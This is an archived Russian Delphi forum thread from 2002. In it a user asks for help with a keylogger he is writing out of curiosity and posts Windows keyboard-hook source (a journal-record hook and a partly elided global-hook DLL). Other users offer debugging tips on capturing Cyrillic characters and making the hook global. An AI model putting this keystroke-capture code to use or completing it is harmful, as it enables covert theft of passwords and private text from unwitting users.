Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.10.31;
Скачать: CL | DM;

Вниз

Hook   Найти похожие ветки 

 
Igor_thief ©   (2002-09-14 12:17) [0]

Народ, помогите разобраться с hook. Мне, ради интереса, захотелось написать клавиатурный шпион. Прочитал парочку статей по работе с dll файлами и просмотрел несколько примеров работы с hook. Попробовал написать шпиона, но он вышел немного глюкавый. Он не воспринимает русские буквы.
Вот исходники:

var
MainForm: TMainForm;
Hook:HHOOK;
Key:integer;
i:longint;

implementation

{$R *.dfm}

function HookProc(Code:integer;WParam:word;LParam:longint):longint;stdcall;
var Msg:PEventMsg;
begin
if Code>=0 then
begin
Result:=0;
Msg:=Pointer(LParam);
with MainForm do
case Msg.message of
WM_KEYDOWN:
begin
Key:=Msg.paramL and 255;
if (Key in[13..126,183..255])and(not(key=46)) then mmMain.Text:=mmMain.Text+chr(Key);
end;
end;
end
else Result:=CallNextHookEx(Hook,Code,WParam,LParam);
end;


procedure TMainForm.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(WH_JOURNALRECORD,@HookProc,HInstance,0);
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
if Hook>0 then UnhookWindowsHookEx(Hook);
end;

Или такой пример:
TMyProcedure=procedure(fl:boolean);stdcall;

var
Form1: TForm1;
DllHandle:THandle;

implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var Hook:TMyProcedure;
begin
DllHandle:=LoadLibrary(PChar("Hook.dll"));
if DllHandle>HInstance_ERROR then @Hook:=GetProcAddress(DllHandle,"InstallHook")
else ShowMessage("Ошибка при загрузке dll!");
Hook(true);
end;

procedure TForm1.Button2Click(Sender: TObject);
var Hook:TMyProcedure;
begin
Hook:=GetProcAddress(DllHandle,"InstallHook");
Hook(false);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FreeLibrary(DllHandle);
end;

Исходник dll файла:

library Hook;
……
var HookVar:HHOOK;
Key:integer;

function HookProc(Code:integer;WParam:word;LParam:longint;Wnd:HWND):longint;stdcall;
begin
CallNextHookEx(HookVar,Code,WParam,LParam);
if Code=hc_action then
begin
if TMsg(Pointer(LParam)^).message=WM_KeyUp then
begin
key:=LParam;
…………………………….
end;
end;
end;

procedure InstallHook(Switch:boolean);export;stdcall;
begin
if Switch then
begin
HookVar:=SetWindowsHookEx(WH_GETMESSAGE,@HookProc,HInstance,0);
MessageBox(0,"Hook установлен!","Сообщение из dll!",0);
end
else
begin
UnhookWindowsHookEx(HookVar);
MainForm.Free;
MessageBox(0,"Hook снят!","Сообщение!",0);
HookVar:=0;
end;
end;

exports
InstallHook;

begin
end.


 
Alexeo ©   (2002-09-15 02:15) [1]

Мне интересно, каким образом ты умудрился запихать хук в exe"шник?
Нормальный хук состоит из dll библиотеки (самого хука) и вызывающей её приграммы.
Для чтения букв обратись к WinSDK и посмотри что-то вроде virtualcode или scancode, а лучше зайди на FAQ этого сайта или королевства делфи и скачай полный help.
Пока.


 
Igor_thief ©   (2002-09-15 12:18) [2]

>>Alexeo
Спасибочки!
>>Мне интересно, каким образом ты умудрился запихать хук в exe"шник?
Очень просто. И кстатии очень клево работает.


 
Song ©   (2002-09-15 13:21) [3]

>>Очень просто. И кстатии очень клево работает.
Да, только он у Вас не будет глобальным в этом случае.


 
Igor_thief ©   (2002-09-15 13:49) [4]

Ну а как насчет того что я писал про то, что шпион не воспринимает русских букв и пишет все большими буквами. Как это исправить?


 
Pavel_S ©   (2002-09-15 14:36) [5]

Здесь же на сайте лежит статья и премеры по работе с хуками. Посмотри


 
Igor_thief ©   (2002-09-17 14:37) [6]

Смотрел. Я по статье и ориентировался. Все те проблемы которые я перечислил есть и в этой статье.


 
Dima_______??   (2002-09-18 11:57) [7]

Я делал хук который вопринимал Все буквы, Altы, Breakи и даже комбинации Fn+Sleep, Fn+Wake Up и т.д., и все работало глобально и безо всяких DLL! Я помогу всем чем смогу, только напиши ViDiV@mail.ru



Страницы: 1 вся ветка

Текущий архив: 2002.10.31;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.01 c
14-101509
Шишкин Илья
2002-10-11 18:45
2002.10.31
Посоветуйте компонент для работы с Zip


1-101205
sasha_delphi
2002-10-21 12:35
2002.10.31
Как после заполнение RichEdit вернуть курсор на первую строку и п


14-101438
Delirium
2002-10-10 12:35
2002.10.31
QuickReport 3.6.2 Professional + Exports 2 for Delphi 7


1-101318
Shadow
2002-10-19 10:38
2002.10.31
Как сделать файл доступным для записи нескольким программам сразу


3-101116
Vagrant
2002-10-10 04:45
2002.10.31
FIBDataSet and BLOB